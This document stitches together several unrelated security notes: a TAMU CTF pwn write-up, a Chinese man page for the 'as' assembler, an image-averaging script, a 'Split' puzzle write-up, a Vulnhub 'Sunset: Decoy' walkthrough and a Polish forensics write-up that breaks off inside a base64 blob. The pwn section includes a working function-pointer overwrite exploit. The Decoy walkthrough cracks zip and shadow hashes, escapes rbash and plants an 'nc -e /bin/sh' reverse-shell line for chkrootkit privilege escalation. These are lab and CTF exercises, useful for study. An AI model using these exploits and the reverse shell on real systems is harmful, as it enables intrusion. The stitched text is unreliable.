root@kali:/media/sf_CTFs/tamu/Pwn2# r2 pwn2
-- Follow the white rabbit
[0x00000570]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x00000570]> afl
0x00000000 53 1093 -> 1100 sym.imp.__cxa_finalize
0x0000049c 3 35 sym._init
0x000004d0 1 6 sym.imp.strcmp
0x000004e0 1 6 sym.imp.gets
0x000004f0 1 6 sym.imp._IO_getc
0x00000500 1 6 sym.imp.puts
0x00000510 1 6 sym.imp.__libc_start_main
0x00000520 1 6 sym.imp.setvbuf
0x00000530 1 6 sym.imp.fopen
0x00000540 1 6 sym.imp.putchar
0x00000550 1 6 sym.imp.strncpy
0x00000560 1 6 fcn.00000560
0x00000568 1 6 fcn.00000568
0x00000570 1 49 entry0
0x000005a2 1 4 fcn.000005a2
0x000005b0 1 4 sym.__x86.get_pc_thunk.bx
0x000005c0 4 58 -> 53 sym.deregister_tm_clones
0x00000600 4 71 sym.register_tm_clones
0x00000650 5 71 sym.__do_global_dtors_aux
0x000006a0 1 9 entry1.init
0x000006a9 1 4 sym.__x86.get_pc_thunk.dx
0x000006ad 1 43 sym.two
0x000006d8 4 124 sym.print_flag
0x00000754 1 43 sym.one
0x0000077f 3 93 sym.select_func
0x000007dc 1 115 sym.main
0x0000084f 1 4 sym.__x86.get_pc_thunk.ax
0x00000860 4 93 sym.__libc_csu_init
0x000008c0 1 2 sym.__libc_csu_fini
0x000008c4 1 20 sym._fini
[0x00000570]> s sym.main
[0x000007dc]> pds
;-- main:
;-- eip:
0x000007ee call sym.__x86.get_pc_thunk.bx
0x000007f9 "44\u0120\u0120\x04\x04\x03\u0154\u0154\u0154\x13\x13\x04\x01\x01"
0x00000805 "LF\x01\x01\x01"
0x00000808 call sym.imp.setvbuf
0x00000813 str.Which_function_would_you_like_to_call
0x0000081a call sym.imp.puts
0x00000829 call sym.imp.gets
0x00000838 call sym.select_func
0x00000864 call sym.__x86.get_pc_thunk.bx
0x00000872 "4 \t(\x1d\x1c\x06"
0x0000087c call sym._init
```
The program receives user input via `gets`, so we can overflow it. Where would we like to jump to? `print_flag` from the function list seems like a good choice.
However, we have a problem - ASLR (PIE) is enabled and we can't easily hardcode `print_flag`'s address as the return address:
```console
root@kali:/media/sf_CTFs/tamu/Pwn2# checksec.sh -f ./pwn2
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 79 Symbols No 0 4 ./pwn2
```
Let's see what else we can find - `select_func` seems like the next place to look.
Here's the decompiled source of the function (using `ghidra`'s decompiler) to get a quick understanding of what it does:
```c
void select_func(char *func_name)
{
int res;
char lcl_func_name [30];
undefined *func_ptr;
strncpy(lcl_func_name,func_name,0x1f);
res = strcmp(lcl_func_name,"one");
func_ptr = two;
if (res == 0) {
func_ptr = one;
}
(*(code *)func_ptr)();
return;
}
```
So this function takes the function name supplied by the user as input, compares it to "one" and if there is a match, calls `one()`. Otherwise, it calls `two()`.
However, the local buffer is 30 bytes long, and `strncpy` is called with `0x1f = 31`.
The `strncpy` documentation says:
> Copies the first num characters of source to destination. If the end of the source C string (which is signaled by a null-character) is found before num characters have been copied, destination is padded with zeros until a total of num characters have been written to it.
> No null-character is implicitly appended at the end of destination if source is longer than num. Thus, in this case, destination shall not be considered a null terminated C string (reading it as such would overflow).
If we provide 31 characters as a function name, our source will be one byte longer than the destination and no NULL byte will be appended. Therefore, we have an off-by-one bug. And of course, the input is received via `gets`, so we can provide a 31-byte-long string.
What will we be able to override?
```assembly
/ (fcn) sym.select_func 93
| sym.select_func (char *func_name);
| ; var char *lcl_func_name @ ebp-0x2a
| ; var int func_ptr @ ebp-0xc
| ; var int local_4h @ ebp-0x4
| ; arg char *func_name @ ebp+0x8
| ; CALL XREF from sym.main (0x838)
| 0x0000077f 55 push ebp
| 0x00000780 89e5 mov ebp, esp
| 0x00000782 53 push ebx
| 0x00000783 83ec34 sub esp, 0x34
| 0x00000786 e825feffff call sym.__x86.get_pc_thunk.bx
| 0x0000078b 81c32d180000 add ebx, 0x182d
| 0x00000791 8d83f5e6ffff lea eax, [ebx - 0x190b]
| 0x00000797 8945f4 mov dword [func_ptr], eax
| 0x0000079a 83ec04 sub esp, 4
| 0x0000079d 6a1f push 0x1f ; size_t n
| 0x0000079f ff7508 push dword [func_name] ; const char *src
| 0x000007a2 8d45d6 lea eax, [lcl_func_name]
| 0x000007a5 50 push eax ; char *dest
| 0x000007a6 e8a5fdffff call sym.imp.strncpy ; char *strncpy(char *dest, const char *src, size_t n)
| 0x000007ab 83c410 add esp, 0x10
| 0x000007ae 83ec08 sub esp, 8
| 0x000007b1 8d838be9ffff lea eax, [ebx - 0x1675]
| 0x000007b7 50 push eax ; const char *s2
| 0x000007b8 8d45d6 lea eax, [lcl_func_name]
| 0x000007bb 50 push eax ; const char *s1
| 0x000007bc e80ffdffff call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)
| 0x000007c1 83c410 add esp, 0x10
| 0x000007c4 85c0 test eax, eax
| ,=< 0x000007c6 7509 jne 0x7d1
| | 0x000007c8 8d839ce7ffff lea eax, [ebx - 0x1864]
| | 0x000007ce 8945f4 mov dword [func_ptr], eax
| | ; CODE XREF from sym.select_func (0x7c6)
| `-> 0x000007d1 8b45f4 mov eax, dword [func_ptr]
| 0x000007d4 ffd0 call eax
| 0x000007d6 90 nop
| 0x000007d7 8b5dfc mov ebx, dword [local_4h]
| 0x000007da c9 leave
\ 0x000007db c3 ret
```
By overflowing `lcl_func_name` we can override the LSB of `func_ptr` which is directly under it in the stack. However, if we take a look at the decompiled C code, it won't matter since `func_ptr` is set after the `strncpy`:
```c
strncpy(lcl_func_name,func_name,0x1f);
res = strcmp(lcl_func_name,"one");
func_ptr = two;
```
Going back to the assembly, though, we see that this isn't really the case (another reminder that decompilation is helpful but can't be relied on). `func_ptr` gets its default value here:
```assembly
0x00000791 8d83f5e6ffff lea eax, [ebx - 0x190b] ; two()
0x00000797 8945f4 mov dword [func_ptr], eax
```
And only a few lines later, `strncpy` is called:
```assembly
0x000007a6 e8a5fdffff call sym.imp.strncpy ; char
```
The last thing to decide is what we override `func_ptr` with.
```
0x000006ad 1 43 sym.two
0x000006d8 4 124 sym.print_flag
```
Since `two` and `print_flag` are defined very close to each other, and the only difference between them is luckily the LSB, we can use this to perform the flow hijacking and jump to `print_flag` instead of `two`.
The following script performs the exploit:
```python
import os
from pwn import *
LOCAL_PATH = "./pwn2"
REMOTE_PATH = ("pwn.tamuctf.com", 4322)
def get_process(is_remote):
if is_remote:
p = remote(*REMOTE_PATH)
else:
p = process(LOCAL_PATH)
return p
def send_payload(proc, payload):
proc.sendlineafter("Which function would you like to call?", payload)
e = ELF(LOCAL_PATH)
overflow_offset = 0x2a - 0xc #lcl_func_name - func_ptr
log.info("overflow offset: {}".format(overflow_offset))
print_flag_addr = e.symbols["print_flag"]
log.info("print_flag() address: {}".format(hex(print_flag_addr)))
payload = fit({overflow_offset: p8(print_flag_addr & 0xFF)}, filler = 'A')
p = get_process(args.REMOTE)
log.info("Sending payload: {}".format(enhex(payload)))
send_payload(p, payload)
print p.recvall()
```
The output:
```console
root@kali:/media/sf_CTFs/tamu/Pwn2# python exploit.py REMOTE
[*] '/media/sf_CTFs/tamu/Pwn2/pwn2'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[*] overflow offset: 30
[*] print_flag() address: 0x6d8
[+] Opening connection to pwn.tamuctf.com on port 4322: Done
[*] Sending payload: 616161616261616163616161646161616561616166616161676161616861d8
[+] Receiving all data: Done (71B)
[*] Closed connection to pwn.tamuctf.com port 4322
This function is still under development.
gigem{4ll_17_74k35_15_0n3}
```
|
sec-knowleage
|
as
===
汇编语言编译器
## 补充说明
**as命令** GNU组织推出的一款汇编语言编译器，它支持多种不同类型的处理器。
### 语法
```shell
as(选项)(参数)
```
### 选项
```shell
-ac：忽略失败条件；
-ad：忽略调试指令；
-ah：包括高级源；
-al：包括装配；
-am：包括宏扩展；
-an：忽略形式处理；
-as：包括符号；
=file：设置列出文件的名字；
--alternate：以交互宏模式开始；
-f：跳过空白和注释预处理；
-g：产生调试信息；
-J：对于有符号溢出不显示警告信息；
-L：在符号表中保留本地符号；
-o：指定要生成的目标文件；
--statistics：打印汇编所用的最大空间和总时间。
```
### 参数
汇编文件：指定要汇编的源文件。
|
sec-knowleage
|
import os, numpy, PIL
from PIL import Image
# Access all PNG files in directory
allfiles=os.listdir(os.getcwd())
imlist=[filename for filename in allfiles if filename[-4:] in [".png",".PNG"]]
# Assuming all images are the same size, get dimensions of first image
w,h=Image.open(imlist[0]).size
N=len(imlist)
# Create a numpy array of floats to store the average (assume RGB images)
arr=numpy.zeros((h,w,3),numpy.float)
# Build up average pixel intensities, casting each image as an array of floats
for im in imlist:
imarr=numpy.array(Image.open(im).convert("RGB"),dtype=numpy.float)
arr=arr+imarr/N
# Round values in array and cast as 8-bit integer
arr=numpy.array(numpy.round(arr),dtype=numpy.uint8)
# Generate, save and preview final image
out=Image.fromarray(arr,mode="RGB")
out.save("Average.png")
out.show()
|
sec-knowleage
|
# Split
Category: Miscellaneous
## Description
> Oh noes! I've accidentally dropped the file on the desktop and it shattered into pieces... (150x150) Now how am I going to face the manager to publish the movie's poster? :( Please help, I got no backups!
A zip file was attached.
## Solution
In the zip file, we find 22,500 images named `image_0.jpg` to `image_22499.jpg`. Each image was 9x13. We need to combine the images into one big image in order to see the full picture.
The following script will combine the image by building row by row, then combining them:
```python
import numpy as np
import PIL
from PIL import Image
from pwn import *
WIDTH = HEIGHT = 150
rows = []
with log.progress('Recreating image...') as p:
for row in range(HEIGHT):
p.status(f"Creating row #{row}")
start = row * WIDTH
end = start + WIDTH
images = [ PIL.Image.open(f'images/image_{i}.jpg') for i in range(start, end) ]
combined = np.hstack( list(np.asarray( img ) for img in images ) )
combined = PIL.Image.fromarray( combined)
rows.append(combined)
p.status(f"Combining rows")
combined = np.vstack( list(np.asarray( row ) for row in rows ) )
combined = PIL.Image.fromarray(combined)
combined.save( 'output.jpg' )
```
The flag is in the image: `cstechnion{Broken_n3v3r_again}`
|
sec-knowleage
|
# Sunset：Decoy
> https://download.vulnhub.com/sunset/decoy.ova
靶场IP：`192.168.2.16`
扫描对外端口服务
```
┌──(root㉿kali)-[/tmp]
└─# nmap -p1-65535 -sV 192.168.2.16
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-08 10:02 EDT
Nmap scan report for 192.168.2.16
Host is up (0.000079s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38
MAC Address: 08:00:27:36:E2:8F (Oracle VirtualBox virtual NIC)
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.47 seconds
```
访问80端口，有一个压缩包
压缩包解压需要密码，爆破压缩包密码为：`manuel`
```
┌──(root㉿kali)-[~/Downloads]
└─# zip2john save.zip
ver 2.0 efh 5455 efh 7875 save.zip/etc/passwd PKZIP Encr: TS_chk, cmplen=668, decmplen=1807, crc=B3ACDAFE ts=90AB cs=90ab type=8
ver 2.0 efh 5455 efh 7875 save.zip/etc/shadow PKZIP Encr: TS_chk, cmplen=434, decmplen=1111, crc=E11EC139 ts=834F cs=834f type=8
ver 2.0 efh 5455 efh 7875 save.zip/etc/group PKZIP Encr: TS_chk, cmplen=460, decmplen=829, crc=A1F81C08 ts=8D07 cs=8d07 type=8
ver 2.0 efh 5455 efh 7875 save.zip/etc/sudoers PKZIP Encr: TS_chk, cmplen=368, decmplen=669, crc=FF05389F ts=1535 cs=1535 type=8
ver 2.0 efh 5455 efh 7875 save.zip/etc/hosts PKZIP Encr: TS_chk, cmplen=140, decmplen=185, crc=DFB905CD ts=8759 cs=8759 type=8
ver 1.0 efh 5455 efh 7875 ** 2b ** save.zip/etc/hostname PKZIP Encr: TS_chk, cmplen=45, decmplen=33, crc=D9C379A9 ts=8CE8 cs=8ce8 type=0
save.zip:$pkzip$6*1*1*0*8*24*8759*a7409df1d7a76ad3809794d387209855bb7638aa589d5be62b9bf373d78055e1dd351925*1*0*8*24*1535*459926ee53809fa53fe26c3e4548cd7819791a638c8d96d3ec7cf18477ffa1e9e2e77944*1*0*8*24*834f*7d2cbe98180e5e9b8c31c5aec89c507011d26766981d17d249e5886e51ac03270b009d62*1*0*8*24*8d07*7d51a96d3e3fa4083bbfbe90ee97ddba1f39f769fcf1b2b6fd573fdca8c97dbec5bc9841*1*0*8*24*90ab*f7fe58aeaaa3c46c54524ee024bd38dae36f3110a07f1e7aba266acbf8b5ff0caf42e05e*2*0*2d*21*d9c379a9*9b9*46*0*2d*8ce8*aae40dfa55b72fd591a639c8c6d35b8cabd267f7edacb40a6ddf1285907b062c99ec6cc8b55d9f0027f553a44f*$/pkzip$::save.zip:etc/hostname, etc/hosts, etc/sudoers, etc/shadow, etc/group, etc/passwd:save.zip
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
┌──(root㉿kali)-[~/Downloads]
└─# vim hash
┌──(root㉿kali)-[~/Downloads]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manuel (save.zip)
1g 0:00:00:00 DONE (2022-09-08 10:05) 100.0g/s 409600p/s 409600c/s 409600C/s 123456..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```
解压压缩包
```
┌──(root㉿kali)-[~/Downloads]
└─# unzip save.zip
Archive: save.zip
[save.zip] etc/passwd password:
inflating: etc/passwd
inflating: etc/shadow
inflating: etc/group
inflating: etc/sudoers
inflating: etc/hosts
extracting: etc/hostname
```
查看shadow文件
```
┌──(root㉿kali)-[~/Downloads/etc]
└─# cat shadow
root:$6$RucK3DjUUM8TjzYJ$x2etp95bJSiZy6WoJmTd7UomydMfNjo97Heu8nAob9Tji4xzWSzeE0Z2NekZhsyCaA7y/wbzI.2A2xIL/uXV9.:18450:0:99999:7:::
daemon:*:18440:0:99999:7:::
bin:*:18440:0:99999:7:::
sys:*:18440:0:99999:7:::
sync:*:18440:0:99999:7:::
games:*:18440:0:99999:7:::
man:*:18440:0:99999:7:::
lp:*:18440:0:99999:7:::
mail:*:18440:0:99999:7:::
news:*:18440:0:99999:7:::
uucp:*:18440:0:99999:7:::
proxy:*:18440:0:99999:7:::
www-data:*:18440:0:99999:7:::
backup:*:18440:0:99999:7:::
list:*:18440:0:99999:7:::
irc:*:18440:0:99999:7:::
gnats:*:18440:0:99999:7:::
nobody:*:18440:0:99999:7:::
_apt:*:18440:0:99999:7:::
systemd-timesync:*:18440:0:99999:7:::
systemd-network:*:18440:0:99999:7:::
systemd-resolve:*:18440:0:99999:7:::
messagebus:*:18440:0:99999:7:::
avahi-autoipd:*:18440:0:99999:7:::
sshd:*:18440:0:99999:7:::
avahi:*:18440:0:99999:7:::
saned:*:18440:0:99999:7:::
colord:*:18440:0:99999:7:::
hplip:*:18440:0:99999:7:::
systemd-coredump:!!:18440::::::
296640a3b825115a47b68fc44501c828:$6$x4sSRFte6R6BymAn$zrIOVUCwzMlq54EjDjFJ2kfmuN7x2BjKPdir2Fuc9XRRJEk9FNdPliX4Nr92aWzAtykKih5PX39OKCvJZV0us.:18450:0:99999:7:::
```
爆破用户`root`和`296640a3b825115a47b68fc44501c828`。只发现用户`296640a3b825115a47b68fc44501c828`的密码为`server`
```
┌──(root㉿kali)-[~/Downloads/etc]
└─# cat shadow
root:$6$RucK3DjUUM8TjzYJ$x2etp95bJSiZy6WoJmTd7UomydMfNjo97Heu8nAob9Tji4xzWSzeE0Z2NekZhsyCaA7y/wbzI.2A2xIL/uXV9.:18450:0:99999:7:::
296640a3b825115a47b68fc44501c828:$6$x4sSRFte6R6BymAn$zrIOVUCwzMlq54EjDjFJ2kfmuN7x2BjKPdir2Fuc9XRRJEk9FNdPliX4Nr92aWzAtykKih5PX39OKCvJZV0us.:18450:0:99999:7:::
┌──(root㉿kali)-[~/Downloads/etc]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt shadow
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
server (296640a3b825115a47b68fc44501c828)
```
ssh登录后没有`rbash`
绕过rbash
```
┌──(root㉿kali)-[~/Downloads/etc]
└─# ssh 296640a3b825115a47b68fc44501c828@192.168.2.16 -t bash
296640a3b825115a47b68fc44501c828@192.168.2.16's password:
bash: dircolors: command not found
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ id
uid=1000(296640a3b825115a47b68fc44501c828) gid=1000(296640a3b825115a47b68fc44501c828) groups=1000(296640a3b825115a47b68fc44501c828)
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ls
honeypot.decoy honeypot.decoy.cpp id ifconfig ls mkdir SV-502 user.txt
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ cat user.txt
bash: cat: command not found
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$
```
**需要全路径才可以执行命令**，查看sudo列表，没有东西。
> 可以配置环境变量
>
> ```
> export PATH="/usr/bin/:$PATH"
> echo $PATH
> ```
```
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ /usr/bin/sudo -l
sudo: unable to resolve host 60832e9f188106ec5bcc4eb7709ce592: Name or service not known
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for 296640a3b825115a47b68fc44501c828:
Sorry, user 296640a3b825115a47b68fc44501c828 may not run sudo on 60832e9f188106ec5bcc4eb7709ce592.
```
执行`honeypot.decoy `
```
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ./honeypot.decoy
--------------------------------------------------
Welcome to the Honey Pot administration manager (HPAM). Please select an option.
1 Date.
2 Calendar.
3 Shutdown.
4 Reboot.
5 Launch an AV Scan.
6 Check /etc/passwd.
7 Leave a note.
8 Check all services status.
Option selected:5
The AV Scan will be launched in a minute or less.
--------------------------------------------------
```
使用pspy64监控进程，发现**Chkrootkit-0.49**
Chkrootkit 提权漏洞：`https://www.exploit-db.com/exploits/33899`
配置反弹shell
```
echo '/usr/bin/nc 192.168.2.5 4444 -e /bin/sh' > /tmp/update
/usr/bin/chmod +x /tmp/update
```
再次运行AV扫描。
一分钟后就可以连接反弹shell
|
sec-knowleage
|
## Transfer (forensics, 100p, 541 solves)
### PL
[ENG](#eng-version)
> I was sniffing some web traffic for a while, I think i finally got something interesting. Help me find flag through all these packets.
> [net_756d631588cb0a400cc16d1848a5f0fb.pcap](transfer.pcap)
Pobrany plik pcap ładujemy do Wiresharka żeby po chwili przeglądania transmisji HTTP (menu File -> Export Objects -> HTTP) znaleźć następujący kod źródłowy programu:
```python
import string
import random
from base64 import b64encode, b64decode
FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'
enc_ciphers = ['rot13', 'b64e', 'caesar']
# dec_ciphers = ['rot13', 'b64d', 'caesard']
def rot13(s):
_rot13 = string.maketrans(
"ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz",
"NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm")
return string.translate(s, _rot13)
def b64e(s):
return b64encode(s)
def caesar(plaintext, shift=3):
alphabet = string.ascii_lowercase
shifted_alphabet = alphabet[shift:] + alphabet[:shift]
table = string.maketrans(alphabet, shifted_alphabet)
return plaintext.translate(table)
def encode(pt, cnt=50):
tmp = '2{}'.format(b64encode(pt))
for cnt in xrange(cnt):
c = random.choice(enc_ciphers)
i = enc_ciphers.index(c) + 1
_tmp = globals()[c](tmp)
tmp = '{}{}'.format(i, _tmp)
return tmp
if __name__ == '__main__':
print encode(FLAG, cnt=?)
```
W tej samej transmisji (opcja Follow TCP Stream) była również zakodowana wiadomość.
Po odwróceniu wszystkich algorytmów otrzymujemy taki program dekodujący:
```python
import string
import random
from base64 import b64encode, b64decode
FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'
#enc_ciphers = ['rot13', 'b64e', 'caesar']
dec_ciphers = ['rot13', 'b64d', 'caesard']
def rot13(s):
_rot13 = string.maketrans(
"ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz",
"NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm")
return string.translate(s, _rot13)
def b64d(s):
return b64decode(s)
def caesard(plaintext, shift=-3):
alphabet = string.ascii_lowercase
shifted_alphabet = alphabet[shift:] + alphabet[:shift]
table = string.maketrans(alphabet, shifted_alphabet)
return plaintext.translate(table)
def encode(pt, cnt=50):
tmp = '2{}'.format(b64encode(pt))
for cnt in xrange(cnt):
c = random.choice(enc_ciphers)
i = enc_ciphers.index(c) + 1
_tmp = globals()[c](tmp)
tmp = '{}{}'.format(i, _tmp)
return tmp
def decode(pt, cnt=61):
for i in xrange(cnt):
c = pt[0]
if c == '1':
pt = rot13(pt[1:])
if c == '2':
pt = b64d(pt[1:])
if c == '3':
pt = caesard(pt[1:])
print pt
if __name__ == '__main__':
x = '2Mk16Sk5iakYxVFZoS1RsWnZXbFZaYjFaa1prWmFkMDVWVGs1U2IyODFXa1ZuTUZadU1YVldiVkphVFVaS1dGWXlkbUZXTVdkMVprWnJWMlZHYzFsWGJscHVVekpOWVZaeFZsUmxWMnR5VkZabU5HaFdaM1pYY0hkdVRXOWFSMVJXYTA5V1YwcElhRVpTVm1WSGExUldWbHBrWm05dk5sSnZVbXhTVm5OWVZtNW1NV1l4V1dGVWJscFVaWEJoVjFsdVdtUm5iMUpYVjNGS2IxWlViMWhXVnpFd1YwWktkbVpGWVZkbFIxRXdWa1JHVDJZeFRuWlhjRzlUWlZkclkxWlhZVk5TYmpGSFZsaHJaRkpVYjFOWmJsVXhWakZTVjFkd09WaFNNRlkyVmxjMVIxWldXa1pUY0d0WFpVWnpZbHBYWVhwVFYwWkhWM0JyVG1Wd2EydFdjSE5MVFVkSllsWnVaMWRsYm5OWldWUk9VMlV4VWxkWGJuZFVWbTl6V0Zad2QyNWtWbHAxVGxabldsWldWV0ZXYmxwTFZqRk9kV1pHYTJ0a01YTlpWbGN4WTJoR1NsZGxNM05yVW00MVdGbFVUa05OVmxwWVprVk9iV1ZXUmpWV2NIZHlaRzlLV0doRk9WVldjRkpVVm5CaFZtaEdaM1ZuUm1kVFpHTldXRlp3TVhwVk1XZDNVMjl2Vm1ReVVsWldiMmRUVlVaV2RGSndkMjFsU0VKSFZHOWFibFV4V25oUmJqRlhWak5yV0ZSdVdsTldNVko0Vm05T2EwMXdhMVpXY0dGdVpURlJZVmR4VWs5V1ZUVllWWEIzWkZkR2JucFdjSGRYWlZWYVlsWXlkalZXY0VwSFYzRmFWV1ZHY3pOWk1tRlhabkJLU0dSRk5WZE5WWE5JVm05U1IxWXlUblZOVm1kVVpXNWFWVmxVUm1SVU1WbDZWbkZhVGxKd1VsbFpNRlp1VlhCS1JrNVZiMXBOUjJ0TVdWY3hTMmRIVmtaYVJtZHJaREJ6Y2xaVVJtUldjRlpJVTI1YVdHUmpWbFZWYjFwNlVtOWFWMWR2WjJ4bFZrWTFWWEExUzFkSFJXSmtSazVYWlZock0xbFZXbVJXTWtaSlZHOVdVMlF6UW1SWFYzZFhaekZaZWsxVldsaGxSa3BYVkZablUxTkdXa2hvUm1kWFRWWktNVlp3WVhKa1ZrcFlaMk5DVjFaRmNucGFSRUV4VTBaYWRtUkdVbXhsVjJ0WVYxY3hORmxXWjFkV2NVcFhaVlJXVUZad1lYcFNNVnAyWkVkM1YyUmpSa2xXVjNkeVZuQkdkVkpVUWxWV00ydFFWbkF4UjFKV1ZuZGtSMnRPWlZaRllsWXhVa2RsTVZsaVZXOXJWMlZ2V2xoWlZFSjZabFp2VlZOd09VOVNiMWt5VlZjMVMyUXdNVlpPVlc5YVRVZFNTRlpVUVdGU01WcFpaRVphYkZkRlNrMVdSbHBrVkRGYWRsZHhSbFZsUmxwUFZtMUdTMU5XWjNaV2IxcHZVbTV6WTFVeGEzWlZNa1Y2WmtaQ1ZtVkhVVEJWWTBaYWFGZE9SbFJ2Vmxka1kxWktWakozWkdVeFdrZFhjVXB0VWxSV1pGbHVXbVJuVm5ORlVuRmFiMUp2U2pCVmNHRnVWVEF3WVZOdU5WZFdSVzVoV1cxQllWTkdTbmhXYjBwWVVqTnJXRlpHV21SWlZrNVhWVzluVjJWdU5WaFVWM2Q2VFZadWVsVnVaMWhTYjNOWVdYRnpTMWxXU25abVNFcFdUWEZPTkZVd1dsTm1NWE5IVkhCclRtVndhMUZXY0RCaFRrZFJZVlZ1WjJ0Tk1sSnlWVzlyVTJZeFduWmFSRkpYVm5CaFlWVlhNRFZXUjBwSWFFWnZWVTFXYzJ0V1ZFWmtaMGRHUlZKdloydE5iMFl6VmxoelIxTXhXbGRUY1VwWVpWZHJjMWxVUm5wV2IxbGhWVzVuV2xZeFNsaFdjRFZYVlRKS1IyWkdWbFpsUjFKMFdsVmFVMVp2V25kU2JqbFhaR05XV0ZZeWQzSmtNVnAzVTNGS1ZHVndhMlJVVlZwNlZVWldkMmhIZDIxbFIxSmpWa2RoVTFZd01YZGtSV3RYVmtWS2VWWnRRVEZTTVZaMlpVZHJVMUpWYzNsWFZsSlBaREExZGxadloxWmxWVnBVVkZabk5GWXhVV0ZXY1U1WFZtNXpXbFZYTlVkV2NFWjFVMjluWkZKRldsQldNRnBYWjFaYWRscEdUbGRTVm5Oa1ZuQnpTMDVHV1dKU2NVNVdaREZ6V1ZsdVZucFdNVkpYV2taT1QxSnZTbGRXY0hOVFpERktkV1ZqU2xaTlZrcElWbkIyWVZJeFduUlZiM05PVm05dk0xWlhNVFJXTWxKWVUyNXJiMUl6UWxSVmIxWjZWRVphZEZKd2MwNVdiM05qVm05cmNsWndSV05SYjJkVlZqTk9ORlJ2V2xkbU1rWklUMVU1VjJReWVtTldiMlpoWlRKR2RsZFlhMVJrTTBKV1ZtOW5jbWh2V2xWU2JuZHRUVlp6TUZrd1dsTlZNV2RJWkVWaFYyVllRbEJaYlVwVFowWmFkVmR3YjFOV01VcGhWMWN3WVdVeFJXRlhXR2RYWlZSdlQxUldXbGROTVc1NlZuQkdiRkp1YnpOVWIxcDJWbTR4UjFOdVVsWk5WMUpIV2tSR1YyWndUa2hvUm1kVFpESTVORll5WVc1TlJsbDZUbGhPVkdWdlduSlZibFprVjBaU1ZtUkZUbFJsUmxZMFZqSXhNRlV5U2taTlZGcFdaVVpLVEZZd1owdFNNVTUxV2taelYxWXlhMDFXVkVadVZERmFkbFZ4U2xSbFJrcFVWbkJoZWxkV1dsaG1SV2RYVFZaS1lsUnZXbVJYUm1kSWFFWlNWMlZIVVRCVmJVWjZVbFpHVlZadlVsTmtNMEkwVmxabU1XVXhXV0ZYYjJ0VlpHOUtXRlZ3TVU1b1JsWjBVVmhyVjJWRmMyTldNbUZQVmpKRlkxRnhhMWRrTVVwRVdXTkJNVll5U2tsVmNITlVVbTl6V0ZkWE1HRk9SbHBYWkROcmExSmpWbEJWYlVKWFRURnVlbFZ1T1ZkV1ZFWkhWakozTkZZeVJXRm1Sa0pYVFVkU1VGcEdaMHRTYjJkMldrWk9WMUpWYm1GV01uZFhaREF4U0ZadloxVmxSMUpyVlc1YVMxVXhXbmRvUjBaUFVuQlNXVlJWVWxkV01VcDFUbFpyVmsxeFVuVldibHBMVW05bmRsSnZXazVrYjFveVZrWmFaRk53VVdGa00zTmtVbTlLV0ZSVldubG9SbHAyV1ROcmEwMVdWalJWTWpWUFZrZEdkVmR1T1ZwV1JWcGtWRlZhZWxJeFozZG5SbEpzVm05eldsWnVaekJsTWtaM1UzRlNhMU5IWVZoV2JsWjFhRVpTZDJoSVowOWxSVnBpVmpJeE5GWXlTbGRUYmxKWFZtOXpkVlZ0UVRGV01XZDRWbTlLYkZKdWMxUldjREF4VVRGT1IxVnZaMWRrTWxKV1ZYQjNlbFp2VmxobVJXZHJVakJXTlZkdVVrOVpWbHBZVlZoblpGSXphMWRhUkVGaFYxWmFkbFJ3YjFkV2NVSTBWbkIzVjFZd05VZFViMnRXWlVaemExVnZWbnBXVmxaMldrUk9UbVZHV2pGWk1GWnVaVVpKWVZOdloxcGtNVm96Vm0xQllXWldTblZsUmxwdlpEQlpNRlp2Vm1SVU1XZFlVMjVyYlZKdU5WaFdiVXBTYUc5WllXUklaMWROVlc4MFZrZGhaRlV5U2tabVJsSmFWa1UxUTFwVldtNW5SMUpKVkc0NWJGSnZXVEJXTW5keVpqSktSMWR2WjFobFJscFlWRmMxVW1jeGIxaG9SVnB1VFZkU1lWWXlZWHBVY0VwSlVXNVNWMVpGU25sVlZFcFBWakZPV1ZwSGIxTlNWbk5aVmxkaFpHWXdOVmRtUldka1VrVktWRlJXVlRGVGIxcDNUVmhPVm1WR2MyTldNVkpIVmpBeFdHUkZZVlZsUjFKUVZqQlZNVlp1TlZaT1ZrNVRWbkZDVG